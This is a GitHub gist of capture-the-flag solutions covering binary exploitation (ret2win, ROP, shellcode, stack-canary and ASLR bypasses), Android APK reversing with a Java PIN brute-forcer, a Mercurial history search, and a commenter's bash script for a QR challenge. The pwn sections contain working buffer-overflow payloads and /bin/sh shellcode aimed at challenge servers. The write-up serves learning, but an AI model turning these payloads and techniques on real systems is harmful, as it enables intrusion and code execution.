Skip to content

Instantly share code, notes, and snippets.

@mlashley
Last active December 17, 2020 07:38
Show Gist options
  • Save mlashley/1c11c543ad7a674f9b1bc7b6fb060ce3 to your computer and use it in GitHub Desktop.
Save mlashley/1c11c543ad7a674f9b1bc7b6fb060ce3 to your computer and use it in GitHub Desktop.
Testing CTF solves

Zed

$ cat zed | uncompress -f -
flag{65e48228c2508afe47661ef1eeacbed0}

ret2win

7 words of filler, and 3 bytes of RSP.

echo -e '11111111111111112222222233333333444444445555555566666666\x05\x12@' | nc challenge.ctf.games 31400

rop

More words of filler and 3 (given) addrs.

echo -e '111111112222222233333333444444445555555566666666777777778888888899999999AAAAAAAABBBBBBBB\x38\x13\x40\x00\x00\x00\x00\x00\xd6\x11\x40\x00\x00\x00\x00\x00\x36\x12\x40\x00\x00\x00\x00\x00' | nc challenge.ctf.games 32212

shellcode

(Code is skipping pwntools pre-amble) We shove our shellcode on the stack and jump to it. Ignore my lack of "A"*100 style padding - I was originally trying to solve these in bash for extra points ;-)

p.recvuntil('Input = ')
base = int(p.recvline().strip(),16)

shell = b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05AAAAAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGGHHHHHHHHIIIIIIIIJJJJJJJJKKKKKKKKLLLLLLLLMMMMMMMMNNNNNNNNOOOOOOOO'
shell += p64(base)
p.sendline(shell)
p.interactive()

canary

p.recvuntil('Stack canary: ')
canary = int(p.recvline().strip().split()[0],16)

shell = b'\xff'*56
shell += p64(canary)
shell += p64(0xdeadbeef) #RBP
shell += p64(0x401215) # RSP=Win()
p.sendline(shell)
p.interactive()

aslr

Gather the offsets, too lazy to load Ghidra...

# gef➤  break callme1
# Breakpoint 2 at 0x134f
# gef➤  break callme2
# Breakpoint 3 at 0x11ed
# gef➤  break win
# Breakpoint 4 at 0x124d
p.recvuntil('Win function: ')
winactual = int(p.recvline().strip(),16)
print(winactual)
# Calculate offsets wrt leaked addr
callme1 = winactual - 0x124d + 0x134f
callme2 = winactual - 0x124d + 0x11ed

shell = b'\xff'*88
shell += p64(callme1)
shell += p64(callme2)
shell += p64(winactual)
p.sendline(shell)
p.interactive()

volleyball

unzip *.apk
dex-tools-2.1-SNAPSHOT/d2j-dex2jar.sh classes.dex
java -jar jd-gui-1.6.6.jar classes-dex2jar.jar

We find the following source

public class FlagActivity extends AppCompatActivity {
  protected void onCreate(Bundle paramBundle) {
    super.onCreate(paramBundle);
    setContentView(2131361820);
    final TextView flagTV = (TextView)findViewById(2131165305);
    String str = getIntent().getStringExtra("pin");
    RequestQueue requestQueue = Volley.newRequestQueue((Context)this);
    StringRequest stringRequest = new StringRequest(0, "http://congon4tor.me:7777", new Response.Listener<String>() {
          public void onResponse(String param1String) {
            flagTV.setText(param1String.toString());
          }
        },  new Response.ErrorListener() {
          public void onErrorResponse(VolleyError param1VolleyError) {
            flagTV.setText("That didn't work!");
          }
        }) {
        public Map<String, String> getHeaders() throws AuthFailureError {
          HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
          hashMap.put("Cookie", "voleyball=5V09ukqfnHQJ7ObHmGDNnw==");
          return (Map)hashMap;

And get the flag with:

$ curl -H 'Cookie: voleyball=5V09ukqfnHQJ7ObHmGDNnw==' http://congon4tor.me:7777
flag{9173e4eef421c88bf9724feb642dd107}

mercury

Mercurial SCM repo... ( BSidesBOS re-use ;-) )

hg log --removed --stat -p | grep flag
+flag{version_control_for_the_solar_system}

actionreaction

"This app provides maximum flag security!"

unzip apk ; grep flag ...

No @congon4tor, it doesn't even provide maximum ctf-ability ;-)

passcode

android studio shows the resources has:

0x7f0d0020	encrypted_flag	VFxYVEoFAgVdBAcABlBWBFRSAARdAQdVU1ABD1AKAFYCV1ICBU8=

16o
2131558432
p
7F0D0020

Unpack the apk, dex2jar, jd-gui as above.

We have MainActivity load this

  public void onCreate(Bundle paramBundle) {
    super.onCreate(paramBundle);
    setContentView(2131427356);
    String str = getString(2131558432);
    this.p = (TextView)findViewById(2131230859);
    EditText editText = (EditText)findViewById(2131230920);
    ((Button)findViewById(2131230982)).setOnClickListener(new a(this, str, editText));
  }

And set an on-click listener for that.

  public class a implements View.OnClickListener {
    public a(MainActivity this$0, String param1String, EditText param1EditText) {}

    public void onClick(View param1View) {
      String str2 = this.b;
      String str1 = this.c.getText().toString();
      (new b.b.a.a.a(this.d)).execute((Object[])new String[][] { { str2, str1 } });
    }
  }

In older jd-gui1.4 it is more obvious

 public void onCreate(final Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2131427356);
    paramBundle = getString(2131558432);
    this.p = ((TextView)findViewById(2131230859));
    final EditText localEditText = (EditText)findViewById(2131230920);
    ((Button)findViewById(2131230982)).setOnClickListener(new a(paramBundle, localEditText));
  }

  public class a
    implements View.OnClickListener
  {
    public a(String paramString, EditText paramEditText) {}

    public void onClick(View paramView)
    {
      String str = paramBundle;
      paramView = localEditText.getText().toString();
      new a(MainActivity.this).execute(new String[][] { { str, paramView } });
    }
  }

The a() method invoked is this:

  public final byte[] a(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)
  {
    byte[] arrayOfByte = new byte[paramArrayOfByte1.length];
    for (int i = 0; i < paramArrayOfByte1.length; i++) {
      arrayOfByte[i] = ((byte)(byte)(paramArrayOfByte1[i] ^ paramArrayOfByte2[(i % paramArrayOfByte2.length)]));
    }
    return arrayOfByte;
  }

  public Object doInBackground(Object[] paramArrayOfObject)
  {
    paramArrayOfObject = (String[][])paramArrayOfObject;
    String str = paramArrayOfObject[0][0];
    Object localObject = paramArrayOfObject[0][1];
    try
    {
      paramArrayOfObject = MessageDigest.getInstance("SHA-256");
      paramArrayOfObject.update(((String)localObject).getBytes("UTF-8"));
      paramArrayOfObject.update("aFwCDlOkMtCRHLfwikUqd2IVpslYlwmB".getBytes("UTF-8"));
      localObject = new java/math/BigInteger;
      ((BigInteger)localObject).<init>(1, paramArrayOfObject.digest());
      localObject = ((BigInteger)localObject).toString(16);
      paramArrayOfObject = new java/lang/String;
      paramArrayOfObject.<init>(a(Base64.decode(str, 0), ((String)localObject).getBytes()));
    }
    catch (UnsupportedEncodingException paramArrayOfObject) {}catch (NoSuchAlgorithmException paramArrayOfObject) {}
    paramArrayOfObject.printStackTrace();
    paramArrayOfObject = "Error decrypting";
    return paramArrayOfObject;
  }

  public void onPostExecute(Object paramObject)
  {
    paramObject = (String)paramObject;
    super.onPostExecute(paramObject);
    this.a.p.setText((CharSequence)paramObject);
  }

So we basically sha256(pin+"aFwCDlOkMtCRHLfwikUqd2IVpslYlwmB") convert that to hex, then run the xor(b64d(enc),sha256ashexstring)

We can now brute-force the PIN...

package decrypt;

import java.io.UnsupportedEncodingException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Base64;
import java.math.BigInteger;
import java.nio.charset.StandardCharsets;

public class decrypt {

  public static void main(String[] args) {

    String enc = "VFxYVEoFAgVdBAcABlBWBFRSAARdAQdVU1ABD1AKAFYCV1ICBU8=";
    byte [] encd = Base64.getDecoder().decode(enc);

    Integer i = 0;
    String pin;
    for(i = 0 ; i<=9999 ; i++ ) {
      pin = String.format("%04d", i);
      MessageDigest md;

      try {
        md = MessageDigest.getInstance("SHA-256");
        md.update(pin.getBytes("UTF-8"));
        md.update("aFwCDlOkMtCRHLfwikUqd2IVpslYlwmB".getBytes("UTF-8"));
        BigInteger b=new BigInteger(md.digest());
        String sha = b.toString(16);
        byte [] done = a(encd,sha.getBytes());
        String donestring = new String(done, StandardCharsets.UTF_8);
        if(donestring.matches("flag.*")) {
        	System.out.println(donestring);
        }
      } catch (NoSuchAlgorithmException | UnsupportedEncodingException e) {
      	e.printStackTrace();
      }

    }
  }

    // Verbatim copy from decompiler.
    public static final byte[] a(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)
    {
      byte[] arrayOfByte = new byte[paramArrayOfByte1.length];
      for (int i = 0; i < paramArrayOfByte1.length; i++) {
        arrayOfByte[i] = ((byte)(byte)(paramArrayOfByte1[i] ^ paramArrayOfByte2[(i % paramArrayOfByte2.length)]));
      }
      return arrayOfByte;
    }

}

Prints flag{6208bd242a266dfd8bedb17e9ad3b0d2}

@0xNULLderef
Copy link

0xNULLderef commented Dec 17, 2020

Here is how i solved the QR Code challange, i did it in bash since i was just overall lazy, but here is what i came up with

#!/bin/bash
i=0
while [ 1 ]; do
	i=$((i+1))
	curl --cookie cookie.txt --cookie-jar cookie.txt "http://challenge.ctf.games:31442/$z" -o tmp.html 2>/dev/null
	cp tmp.html tmp/"$i.html"
	s=$(cat tmp.html | grep img | awk '{print $2}')
	echo ${s:27:-2} | base64 -d > tmp.png
	z=$(zbarimg -q tmp.png)
	z="?answer=${z:8}"
	echo "$i: $z"
done

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment